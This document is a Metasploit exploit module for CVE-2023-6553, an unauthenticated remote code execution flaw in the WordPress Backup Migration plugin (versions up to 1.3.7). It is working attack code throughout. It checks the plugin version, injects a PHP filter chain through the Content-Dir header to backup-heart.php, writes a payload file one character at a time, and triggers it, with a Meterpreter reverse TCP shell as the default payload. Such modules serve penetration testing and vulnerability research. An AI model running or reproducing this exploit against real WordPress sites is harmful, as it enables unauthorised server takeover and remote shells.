# Exploit Title: WordPress Backup Migration 1.3.7 - Remote Command Execution
# Date: 2025-10-26
# Exploit Author: DANG
# Vendor Homepage: https://backupbliss.com/
# Software Link: https://wordpress.org/plugins/backup-backup/
# Version: Backup Migration ≤1.3.7
# Tested on: LINUX
# CVE : CVE-2023-6553

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HTTP::PhpFilterChain
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Backup Migration Plugin PHP Filter Chain RCE',
        'Description' => %q{
          This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7).  The vulnerability is
          exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.

          The exploit makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend
          bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend
          a PHP payload to a string which gets evaluated by a require statement, which results in command execution.
        },
        'Author' => [
          'Nex Team', # Vulnerability discovery
          'Valentin Lobstein', # PoC
          'jheysel-r7' # msfmodule
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-6553'],
          ['URL', 'https://github.com/Chocapikk/CVE-2023-6553/blob/main/exploit.py'],
          ['URL', 'https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it'],
          ['WPVDB', '6a4d0af9-e1cd-4a69-a56c-3c009e207eca']
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'Platform' => ['unix', 'linux', 'win', 'php'],
        'Arch' => [ARCH_PHP],
        'Targets' => [['Automatic', {}]],
        'DisclosureDate' => '2023-12-11',
        'DefaultTarget' => 0,
        'Privileged' => false,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4) + '.php']),
      ]
    )
  end

  def check
    return CheckCode::Unknown unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("WordPress Version: #{wp_version}") if wp_version

    # The plugin's official name seems to be Backup Migration however the package filename is "backup-backup"
    check_code = check_plugin_version_from_readme('backup-backup', '1.3.8')

    if check_code.code != 'appears'
      return CheckCode::Safe
    end

    plugin_version = check_code.details[:version]
    print_good("Detected Backup Migration Plugin version: #{plugin_version}")
    CheckCode::Appears
  end

  def send_payload(payload)
    php_filter_chain_payload = generate_php_filter_payload(payload)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'),
      'method' => 'POST',
      'headers' => {
        'Content-Dir' => php_filter_chain_payload
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
    fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 200 response code') unless res.code == 200
  end

  def write_to_payload_file(string_to_write)
    # Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain,
    # the payload becomes quite large and we start to hit limitations due to the HTTP header size.
    # For example this payload: "<?php fwrite(fopen("G", "a"),"\x73");?>", ends up being 7721 characters long.
    # The payload size limit on the target I was testing seemed to be around 8000 characters.
    # Using the following: <?php file_put_contents("file.php","char",FILE_APPEND);?> (more elegant solution) exceeds the
    # size limit which is why I ended up using <?php fwrite(fopen("<single_char_filename>", "char" ?> and then after
    # copying the single_char_filename to a filename with a .php extension to be executed.

    single_char_filename = Rex::Text.rand_text_alpha(1)
    string_to_write.each_char do |char|
      send_payload("<?php fwrite(fopen(\"#{single_char_filename}\",\"a\"),\"#{'\\x' + char.unpack('H2')[0]}\");?>")
    end
    register_file_for_cleanup(single_char_filename)
    send_payload("<?php copy(\"#{single_char_filename}\",\"#{datastore['PAYLOAD_FILENAME']}\");?>")
    register_file_for_cleanup(datastore['PAYLOAD_FILENAME'])
  end

  def trigger_payload_file
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']),
      'method' => 'GET'
    )
    print_warning('The application responded to the request to trigger the payload, this is unexpected. Something may have gone wrong.') if res
  end

  def exploit
    print_status('Writing the payload to disk, character by character, please wait...')
    # Use double quotes in the payload, not single.
    write_to_payload_file("<?php #{payload.encoded}")
    trigger_payload_file
  end
end